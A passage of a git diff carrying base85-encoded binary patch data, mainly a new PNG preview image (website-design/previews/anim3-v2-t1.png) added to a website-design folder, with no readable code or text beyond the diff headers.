zj)7qNn4HM%d>@gh9BU8T8u8<%ZKo;i*xRKtYXnx*6-E>nag?%c9OS>WWWh(02K|?G zv;F+k`z85jXmh4DrM}_T(>H2{JweELZti)0RBz*=+*(F=<8YAB^pubt$cwp)Z_F5J z|Eg`!@NFMo0!S^omYNq780V)n;WCW#P4ZEoW=m9CK+6;j@`e{P-#dKgU#LXS1eALD zdcZtkzCkc@iI+#mWGV>?G7n08+^yd72V;=C1}DxIj_Ds}u8-+EMoG;}cT4Js+EAHy zV4!ls(x$HA{&_*2kx9zSPJLMmTJ=~7Y4TukhqbIJeN^KSCn&@EHgBj=wM1GRNxH(? zS4{!nj5@iv=wtLnbtwlC;TO{%1})T4X8BSlqh;RiYBKro^2R`OrwJ6 zGpDA-{VTz*7z1b$SNt$_3M8xV;;C7kDg+;?Euno5U-@ISa8_+NZ`q{4FcwTEHNkH) z19bP);N`oqhFGjVQmXdio8K9$O1mp#vHEc|`t{i|P#+OU91R^J0CV0 zLvtHYLp$^KdpxwBhPa09rSB!a4&&Sueoqr$reb;T(H2r;ezOYPd z_~|hcbbs$mz~bP-Aa!_ZLH9*(vtv=`!3CunYc)ZxVqv9(C&*p5mjjPtH?TC{kwLRv zmA6t}er4?DtGK^r;Lv^j!H+Ur+4EgjD;Ddq`|*5|MNVbl8?qDHZ z)}ek{nA*pPfIlb%Exg8c&5$Z+Fsb|f_=&(UetSOS0Dy;BeCP24u7b`tQhdUV<2QoS zDjeFtm3{wuW(vI$D(>#+BeP&sGh65qK1AtHhnQEZJ64r>+jvrJb>g(iDIkV>7t2(+ zQ7u5F_M}@i;do7k=flN*hDbu zNr{8SXXda`JU7dje9FM>V*3h znanTSva1~2-01vkcB+}&ygJi2H06xlzaP(=bR>F+w4L7=Zq7we>UiV-u(b;sXBWrs zW-!lv6kuB0?EPavs2(P@q47RkeokSHV7kJl)#~FDC1DLsawkspr4KtffOitFGf2W_ zYH@^^W{~G%ilbP8q)Qpl6?|lVx>lz5%FMYMn-brzhk@YzXJ`8M{*^ovfB+2N+7+xv z*3NEqx{JjV2i$kgT{~42*1Y1B-k;2CpRp-M62#=Dmk%wGOE{I?gp!hawlBQJL z%hz@Xa)BptnvYCD>lH!!rjsp`(~{HBDr!m-7RhAjewv{Pm8(ZBGu~D(&7gVVhxYQd8~GY=lhBEUYG5m z4B>&c>9#^rdKEg}RGkb=q&)?gAEI`dd6((#GkRJmGg`1!BK*goe6_jk>+0p|J6w?_ zVy8Zbwe!byG()buD7uyy@Msq}DtC_I;eSZL+Jh+CAP-1#%6Wlj_LjzYtBP$6W%b#J z#Pf@jATjO~)^11A69=PH-OiW`FTjx~yGpYHIld?uJQc;;l8YjbW=$rhFC-DJ@dq^YFP^Kj+WKkn87h+af+5#Wyuj88pj^9H5b z&MfhUG-WfQlRvF7P~LiTb12H}i1Y7ZHP(sIFH9hGNw6+GWg;uV^iROzcJw8^HI}_H z?+29yLzM7<5+=dCGG4VOO_TM|eNQfrG}w6DBhK6E&N*44&p6^vS4r>>E(H^=Ch8KZ z&B{>HG|9NQY1)EPe)CCc3v@zBCgQ2r#dKcOw zo8ezS@L%VaX%PN({QnJ#{*CnhZ%4t5ApD&Czh>$GFS8UvZ%P&1&Vbn+^QA&{)vXL4 zJmeXRMY+i0R}L_8l;FCR#o}cCpLzqJe(3a38YrdU;Ml^5s5f!kc)m^k>B$}Zj6rK_ M>S+{SxOM;k00sC@z5oCK literal 0 HcmV?d00001 diff --git a/website-design/previews/anim3-v2-t1.png b/website-design/previews/anim3-v2-t1.png new file mode 100644 index 0000000000000000000000000000000000000000..78722573d06273d2b17656267c0251a5363bf65b GIT binary patch literal 42670 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 